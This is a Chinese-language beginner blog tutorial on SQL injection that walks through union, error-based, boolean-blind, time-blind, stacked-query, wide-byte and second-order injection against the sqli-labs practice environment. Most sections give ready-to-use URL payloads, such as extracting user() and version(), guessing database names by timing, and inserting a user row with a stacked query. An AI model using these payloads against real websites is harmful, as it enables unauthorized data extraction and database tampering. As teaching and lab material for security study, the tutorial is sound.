SQL注入基礎
- SQL注入的基本原理:
- SQL注入的基本方式
- SQL注入的基本思路:
- 1.判斷屬于字符型還是數字型閉合
- 2.判斷欄位個數column(聯合查詢)
- 3.閉合前后的SQL陳述句
- 4.判斷注入顯示位置
- 聯合查詢
- 報錯注入
- 布爾盲注
- 時間盲注
- 堆疊查詢
- 寬位元組注入
- 二次注入
- 結語
SQL注入的基本原理:
當程式員在撰寫SQL語言時直接將用戶的輸入與SQL語言進行連接,并且沒有對用戶的輸入進行足夠的過濾,使得用戶可以通過注入惡意的SQL陳述句,從而修改資料庫中的原有資訊,獲得網站的webshell,以及產生后門等一系列惡意操作,
SQL注入的基本方式
| 基本注入方式 | 注入的條件 | 沒有對應條件的解決辦法 |
|---|---|---|
| 聯合查詢 | 頁面有回顯 | 下一方法 |
| 報錯注入 | 頁面有報錯 | 下一方法 |
| 布爾盲注 | 頁面有布爾型別狀態 | 下一方法 |
| 時間盲注 | 頁面無前三種狀態 | 絕招 |
| 基本注入方式 | 注入條件 |
|---|---|
| 堆疊查詢 | 開啟多陳述句查詢 |
| 寬位元組注入 | MySQL使用GBK編碼 |
| 二次注入 | 特殊情況下 |
SQL注入的基本思路:
(以下playload可以在sqli-labs中實作)
1.判斷屬于字符型還是數字型閉合
使用 ?id=1’
如果數字1出現在報錯資訊中則為字符型(如果?id=1’后面出現雙引號(‘’1’”),則為雙引號閉合,如果出現單引號(‘1’’),則為單引號閉合),
如果1沒有出現,則為數字型閉合,
2.判斷欄位個數column(聯合查詢)
閉合前一條sql陳述句,使用order by(按欄位數進行排序)判斷列數,
例如:
?id=1’ order by 1 --+
?id=1’ order by 4 --+
當輸入的數字大于欄位數時,系統就會報出錯誤(unknown column),
3.閉合前后的SQL陳述句
1)使用第一步中測驗出的引號來閉合前面的sql陳述句,
例如單引號閉合: ?id=1’
2)對于后面的陳述句就使用注釋來進行閉合,
常見的注釋陳述句:
1)–+
2)#
3)/* … */
或者使用閉合單引號的方法來閉合后面的SQL陳述句:
例如
// palyload:
?id=404' or '1'='1
4.判斷注入顯示位置
palyload: ?id=-1’ union select 1,2,3–+
查看頁面中數字出現的位置,即為注入顯示的位置,
聯合查詢
聯合查詢使用UNION 運算子合并兩個或多個 SELECT 陳述句的結果集,UNION 內部的 SELECT 陳述句必須擁有相同數量的列,列也必須擁有相似的資料型別,同時,每條SELECT陳述句中的列的順序必須相同,此外聯合查詢的兩條結果,系統默認只顯示第一條,所以需要將第一條SQL陳述句置為假,才會顯示第二條陳述句的內容,
例:Playload: ?id=-1’ union select 1,user(),version()–+
或者 ?id=1’ and 1=2 union select 1,user(),version() --+
報錯注入
常見的報錯注入:
updatexml報錯(XPATH報錯):
Playload: ?id=1’ and updatexml(1,concat(0x7e,(select version()),0x7e),1)–+
Floor報錯
Palyload:?id=1’ and(select 1 from(select count(*),concat((select(select(select concat(0x7e,user(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) --+
extractvalue報錯(XPATH報錯)
Palyload:?id=1’ and extractvalue(1,concat(0x7e,(select @@version),0x7e))
布爾盲注
布爾盲注常用函式:
Substr:字串截取函式,Substr(str,start,length).
Ascii(char):將字串轉換成ASCII碼,
判斷資料庫長度
Palyload: ?id=1’ and length(database())=8 --+
猜測資料庫名的第一位
(第二位為database(),2,1 以此類推)
Palyload:?id=1’ and ascii(substr(database(),1,1))=115 --+
時間盲注
時間盲注常用函式:
if(cond,ture_result,flase_result):cond為判斷條件,ture_result為真時回傳的結果,false_result為假時回傳的結果,
通常使用if配合ascii,substr函式來實作時間盲注
判斷閉合型別
Palyload: ?id=1’ and sleep(5) --+
(為’閉合時延時5s,否則沒有)
更改’為”,測驗是否為”注入,結果與上面相同,
猜測資料庫名第一位
Palyload: ?id=1’ and if(ascii(substr(database(),1,1))=115,sleep(5),2)–+
(猜測版本的第一位是否為s,如果正常則回傳sleep(5),使得界面延時5s,反正則不會,)
猜測第二位為(database(),2,1)以此類推
根據上述palyload,可以猜測其他資訊,
堆疊查詢
我們知道在mysql中,主要是命令列中,每一條陳述句結尾加上 ;
當目標開啟了多陳述句查詢時,可以使用堆疊查詢:
試想一下我們在 ; 結束一個sql陳述句后繼續構造下一條陳述句,會不會一起執行?因此這個想法也就造就了堆疊注入,
而union injection(聯合查詢)也是將兩條陳述句合并在一起,兩者之間有什么區別么?
區別就在于union 或者union all執行的陳述句型別是有限的,可以用來執行查詢陳述句,而堆疊注入可以執行的是任意的陳述句,
例如:插入用戶:
Palyload: ?1’ ; insert into users(id,username,password) values(‘11’,‘11’,‘11’) --+
寬位元組注入
原理:mysql 在使用 GBK 編碼的時候,會認為兩個字符為一個漢字,例如%aa%5c 就是一個漢字(前一個 ascii 碼大于 128 才能到漢字的范圍),我們在過濾 ’ 的時候,往往利用的思路是將 ‘ 轉換為 \’,
因此我們在此想辦法將 ‘ 前面添加的 \ 除掉,一般有兩種思路:
1)%df 吃掉 \
例如 urlencode(‘) = %5c%27,我們在%5c%27 前面添加%df,形成%df%5c%27,而上面提到的 mysql 在 GBK 編碼方式的時候會將兩個位元組當做一個漢字,此時%df%5c 就是一個漢字,%27 則作為一個單獨的符號在外面,同時也就達到了我們的目的,
2)將 \’ 中的 \ 過濾掉,例如可以構造 %**%5c%5c%27 的情況,后面的%5c 會被前面的%5c給注釋掉,這也是 bypass 的一種方法,
例:palyload : ?id=-1%df%27 union select 1,user(),3–+
二次注入
二次注入是指輸入提交的陳述句,無法直接對 WEB 應用程式產生影響,而是先注入到資料庫中,再通過讀取資料庫的操作對 WEB 產生危害,這樣的注入就被稱為是二次注入,二次注入較為復雜這里不進行詳細介紹,
結語
本文為個人原創,小白一枚,如有錯誤的地方,歡迎大家賜教,
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/224190.html
標籤:其他
